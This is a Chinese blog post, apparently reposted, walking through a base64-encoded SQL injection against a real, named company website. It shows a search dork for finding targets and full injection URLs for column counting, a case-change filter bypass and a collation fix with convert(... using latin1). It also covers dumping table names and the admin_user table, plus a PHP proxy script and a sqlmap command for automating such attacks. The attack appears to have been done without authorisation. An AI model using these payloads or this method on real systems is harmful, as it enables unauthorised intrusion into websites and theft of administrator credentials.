zoukankan      html  css  js  c++  java
  • base64变形注入与联合查询注入的爱情故事

    先来写一下GET的知识点:


      1.知道了convart函数(CONVERT函数是把日期转换为新数据类型的通用函数)


        2.Illegal mix of collations for operation 'UNION'的成因是因为编码的缘故字符集的编码不同所导致的,要解决就配合convart8、using latin1函数来解决。


        3.不要一直死干,要学会用自己掌握的知识。写脚本


    PS:这方法也是我从习科的《sql注入自学指南》上面get的新技能。虽然get的时间有些时间了。但一直未曾尝试。今天就来试试。

    百度搜索关键词:inurl:php?aWQ9

    #ps:没错你没看错,后面是base64编码了的。

    随便打开了一个网站:http://www.samilsys.com/project_detail.php?aWQ9MTI=

    00x1 判断注入


     先把后面的解密得知正确的参数为:id=122

    将id=12 and 1=1进行base64加密:aWQ9MTIgYW5kIDE9MQ==

    那么构造好了的URL就该是这样的:http://www.samilsys.com/project_detail.php?aWQ9MTIgYW5kIDE9MQ==

    如下图,并无任何变化。

    然后在重新加密一次:id=12 and 1=2

    加了之后URL为:http://www.samilsys.com/project_detail.php?aWQ9MTIgYW5kIDE9Mg==

    可见标题消失了,由此可判断存在sql注入。

    00x2 猜字段数


     将“id=12 order by 10”进行base64加密后

    http://www.samilsys.com/project_detail.php?aWQ9MTIgb3JkZXIgYnkgMTA=

    爆出了project表

    最终测试出来字段数等于8.

    00x3 爆显示位


     当我将id=-12 union select 1,2,3,4,5,6,7,8-- 加密成base64然后执行的时候union select被过滤成了-- 经过测试发现,大小写直接就可以绕过了。

    00x3 收集信息9


     配合concat函数。

     id=-12 UNION SELECT 1,2,3,4,5,6,7,concat(user(),0x7e,version(),0x7e,database())--

     http://www.samilsys.com/project_detail.php?aWQ9LTEyIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LGNvbmNhdCh1c2VyKCksMHg3ZSx2ZXJzaW9uKCksMHg3ZSxkYXRhYmFzZSgpKS0t

    http://www.samilsys.com/project_detail.php?id=-12 UNION SELECT 1,2,3,4,5,6,7,table_Name from information_schema.tables Where table_schema=database()--

    转换为边base64以后:http://www.samilsys.com/project_detail.php?aWQ9LTEyIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LHRhYmxlX05hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpLS0=

    提示:Error: Illegal mix of collations for operation 'UNION'

     蒙B中。后来经过米哥的指导,发现了这篇文章:http://www.2cto.com/article/201202/121073.html

     http://www.samilsys.com/project_detail.php?id=-12 UNION SELECT 1,2,3,4,5,6,7,convert(Table_Name using latin1) from information_schema.tables Where table_Schema=database()--

    如图所示爆出表明来了。

    然后我使用group_concat爆出所有的数据来。

    http://www.samilsys.com/project_detail.php?
    id=-12 UNION SELECT 1,2,3,4,5,6,7,convert(group_concat(Table_Name) using latin1) from information_schema.tables Where table_Schema=database()--

    以下是所有的表:


    admin_log,admin_user,company_info,contact,download,download_type,news,product-,product_down-,product_type-,project,project_type,single_files

    找到管理员表,admin_user。然后再读取列。

    http://www.samilsys.com/project_detail.php?
    aWQ9LTEyIFVOSU9OIFNFTEVDVCAxLDIsMyw0LDUsNiw3LHB3ZCBmcm9tIGFkbWluX3VzZXItLSA=

     

    刚开始跑的时候我是sqlmap.py -u "http://www.xxxx.com/newinfo.php?aWQ9MTI="  -v 3 --batch --tamper "base64encode.py"(ps:这里的aWQ9MTI=是id=12是base64加密的)一直跑不出来。聪明的人可能一眼就知道错误之处。但是我略傻逼。惭愧惭愧。

    00x4 sqlmap如何跑base64加密了的注入点。


    后来一个热心的Royal学长这样指导我。

    将以下demo保存为xishaonian.php

    <?php 
    $id = base64_encode("id=".$_GET['id']);
    echo file_get_contents("http://www.xxxx.com/project_detail.php?{$id}");
     ?>

    sqlmap.py -u "http:///www.xxxx.com/project_detail.php?id=12" -v3 --dbs

    就可以跑出来了。

    手工确实累。谢谢Royal学长的热心指导哈。

    俩个不容易的在一起了。也记下了我这次学习成果。

    THE END


  • 相关阅读:
    98. 验证二叉搜索树
    236. 二叉树的最近公共祖先
    leetcode 字符串转换整数 (atoi)
    LeetCode 寻找两个正序数组的中位数 (找第k个数的变种)
    Leetcode 面试题 16.18. 模式匹配(逻辑题)(转)
    深入学习Redis(4):哨兵(转)
    【BAT面试题系列】面试官:你了解乐观锁和悲观锁吗?(转)
    CentOS 7.5 使用 yum 方式安装 MySQL 5.7
    CentOS7 安装 PHP7 完全详细教程
    ubunutu 18.04 编译php7.4.1
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6276799.html
Copyright © 2011-2022 走看看